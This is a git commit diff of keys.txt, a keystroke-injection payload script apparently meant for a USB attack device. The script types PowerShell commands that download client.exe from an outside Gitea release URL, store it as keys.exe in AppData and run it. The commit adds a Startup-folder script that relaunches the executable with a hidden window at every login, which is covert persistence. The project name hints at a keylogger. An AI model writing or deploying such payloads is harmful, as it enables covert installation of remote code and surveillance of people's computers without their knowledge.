🔧 Adds autostart script
This commit is contained in:
parent
60526fba00
commit
f953f59072
2
keys.txt
2
keys.txt
@ -12,6 +12,8 @@ STRING $OpDir = "$(pwd)\AppData\Local\keys";
|
||||
REM download client.exe file
|
||||
STRING Invoke-WebRequest https://gitea.svitan.dev/Streamer272/keys/releases/download/latest/client.exe -OutFile "$OpDir\keys.exe";
|
||||
|
||||
STRING Add-Content -Path "$(pwd)\AppData\Roaming\Windows\Start Menu\Programs\Startup\keys.cmd" -Value "powershell.exe -WindowStyle hidden { Start-Process -FilePath \"$OpDir\keys.exe\" -NoNewWindow }";
|
||||
|
||||
REM client.exe file (closes automatically)
|
||||
STRING Start-Process -FilePath "$OpDir\keys.exe" -NoNewWindow }
|
||||
ENTER
|
||||
|
Loading…
x
Reference in New Issue
Block a user